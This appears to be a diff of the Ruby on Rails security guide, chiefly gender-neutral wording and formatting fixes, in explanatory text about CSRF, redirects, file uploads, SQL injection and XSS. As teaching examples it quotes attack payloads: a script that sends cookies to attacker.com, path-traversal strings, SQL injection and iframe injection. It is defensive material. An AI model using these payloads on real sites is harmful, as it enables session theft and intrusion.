+ Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later.
253
261
 
254
262
  Redirection and Files
255
263
  ---------------------
@@ -258,7 +266,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
258
266
 
259
267
  ### Redirection
260
268
 
261
- WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
269
+ WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
262
270
 
263
271
  Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
264
272
 
@@ -268,7 +276,7 @@ def legacy
268
276
  end
269
277
  ```
270
278
 
271
- This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
279
+ This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
272
280
 
273
281
  ```
274
282
  http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -288,9 +296,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box.
288
296
 
289
297
  NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
290
298
 
291
- Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so one more reason to run web servers, database servers and other programs as a less privileged Unix user.
299
+ Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
292
300
 
293
- When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
301
+ When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
294
302
 
295
303
  ```ruby
296
304
  def sanitize_filename(filename)
@@ -305,7 +313,7 @@ def sanitize_filename(filename)
305
313
  end
306
314
  ```
307
315
 
308
- A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
316
+ A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
309
317
 
310
318
  The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
311
319
 
@@ -313,7 +321,7 @@ The solution to this is best to _process media files asynchronously_: Save the m
313
321
 
314
322
  WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
315
323
 
316
- The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file file.cgi with code in it, which will be executed when someone downloads the file.
324
+ The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
317
325
 
318
326
  _If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
319
327
 
@@ -327,7 +335,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa
327
335
  send_file('/var/www/uploads/' + params[:filename])
328
336
  ```
329
337
 
330
- Simply pass a file name like “../../../etc/passwd to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
338
+ Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
331
339
 
332
340
  ```ruby
333
341
  basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
@@ -346,17 +354,17 @@ Intranet and administration interfaces are popular attack targets, because they
346
354
 
347
355
  In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

348
356
 
349
- **XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
357
+ **XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
350
358
 
351
359
  Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
352
360
 
353
361
  Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
354
362
 
355
- **CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
363
+ **CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
356
364
 
357
- A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
365
+ A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
358
366
 
359
- Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

367
+ Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

360
368
 
361
369
  Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
362
370
 
@@ -366,7 +374,7 @@ For _countermeasures against CSRF in administration interfaces and Intranet appl
366
374
 
367
375
  The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
368
376
 
369
- * It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
377
+ * It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
370
378
 
371
379
  * Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
372
380
 
@@ -379,7 +387,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
379
387
 
380
388
  There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
381
389
 
382
- Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
390
+ Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
383
391
 
384
392
  ```
385
393
  http://localhost:3006/user/activate
@@ -398,7 +406,7 @@ If the parameter was nil, the resulting SQL query will be
398
406
  SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
399
407
  ```
400
408
 
401
- And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
409
+ And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
402
410
 
403
411
  ### Brute-Forcing Accounts
404
412
 
@@ -406,7 +414,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login
406
414
 
407
415
  A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
408
416
 
409
- Because of this, most web applications will display a generic error message user name or password not correct”, if one of these are not correct. If it said the user name you entered has not been found”, an attacker could automatically compile a list of user names.
417
+ Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
410
418
 
411
419
  However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
412
420
 
@@ -418,24 +426,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
418
426
 
419
427
  #### Passwords
420
428
 
421
- Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
429
+ Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
422
430
 
423
431
  #### E-Mail
424
432
 
425
- However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
433
+ However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
426
434
 
427
435
  #### Other
428
436
 
429
- Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
437
+ Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
430
438
 
431
439
  ### CAPTCHAs
432
440
 
433
- INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
441
+ INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
434
442
 
435
443
  But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
436
444
 
437
445
  You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
438
- The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
446
+ The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
439
447
 
440
448
  Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
441
449
 
@@ -447,7 +455,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
447
455
 
448
456
  The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
449
457
 
450
- You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
458
+ You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
451
459
 
452
460
  * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
453
461
  * Randomize the field names
@@ -469,7 +477,7 @@ config.filter_parameters << :password
469
477
 
470
478
  INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
471
479
 
472
- Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
480
+ Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
473
481
 
474
482
  password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
475
483
 
@@ -481,7 +489,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu
481
489
 
482
490
  INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
483
491
 
484
- Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
492
+ Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
485
493
 
486
494
  ```ruby
487
495
  /^https?:\/\/[^\n]+$/i
@@ -495,7 +503,7 @@ http://hi.com
495
503
  */
496
504
  ```
497
505
 
498
- This URL passes the filter because the regular expression matches the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
506
+ This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
499
507
 
500
508
  ```ruby
501
509
  link_to "Homepage", @user.homepage
@@ -528,7 +536,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
528
536
  @project = Project.find(params[:id])
529
537
  ```
530
538
 
531
- This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
539
+ This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
532
540
 
533
541
  ```ruby
534
542
  @project = @current_user.projects.find(params[:id])
@@ -547,7 +555,7 @@ Injection is very tricky, because the same code or parameter can be malicious in
547
555
 
548
556
  ### Whitelists versus Blacklists
549
557
 
550
- NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
558
+ NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
551
559
 
552
560
  A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
553
561
 
@@ -571,7 +579,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
571
579
  Project.where("name = '#{params[:name]}'")
572
580
  ```
573
581
 
574
- This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
582
+ This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
575
583
 
576
584
  ```sql
577
585
  SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -581,7 +589,7 @@ The two dashes start a comment ignoring everything after it. So the query return
581
589
 
582
590
  #### Bypassing Authorization
583
591
 
584
- Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
592
+ Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
585
593
 
586
594
  ```ruby
587
595
  User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -622,7 +630,7 @@ Also, the second query renames some columns with the AS statement so that the we
622
630
 
623
631
  #### Countermeasures
624
632
 
625
- Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
633
+ Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
626
634
 
627
635
  Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
628
636
 
@@ -646,7 +654,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili
646
654
 
647
655
  An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
648
656
 
649
- The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
657
+ The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
650
658
 
651
659
  XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
652
660
 
@@ -679,7 +687,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
679
687
  <script>document.write(document.cookie);</script>
680
688
  ```
681
689
 
682
- For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
690
+ For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
683
691
 
684
692
  ```html
685
693
  <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -691,17 +699,17 @@ The log files on www.attacker.com will read like this:
691
699
  GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
692
700
  ```
693
701
 
694
- You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/), though.
702
+ You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though.
695
703
 
696
704
  ##### Defacement
697
705
 
698
706
  With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
699
707
 
700
708
  ```html
701
- <iframe name=”StatPage src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
709
+ <iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
702
710
  ```
703
711
 
704
- This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser very successfully, 50% of the attacks succeed.
712
+ This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
705
713
 
706
714
  A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
707
715
 
@@ -718,13 +726,13 @@ _It is very important to filter malicious input, but it is also important to esc
718
726
 
719
727
  Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
720
728
 
721
- Imagine a blacklist deletes script from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
729
+ Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
722
730
 
723
731
  ```ruby
724
732
  strip_tags("some<<b>script>alert('hello')<</b>/script>")
725
733
  ```
726
734
 
727
- This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
735
+ This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():
728
736
 
729
737
  ```ruby
730
738
  tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
@@ -733,7 +741,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title))
733
741
 
734
742
  This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
735
743
 
736
- As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources.
744
+ As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources.
737
745
 
738
746
  ##### Obfuscation and Encoding Injection
739
747
 
@@ -744,7 +752,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte
744
752
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
745
753
  ```
746
754
 
747
- This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
755
+ This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
748
756
 
749
757
  #### Examples from the Underground
750
758
 
@@ -760,9 +768,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec
760
768
 
761
769
  The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
762
770
 
763
- Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
771
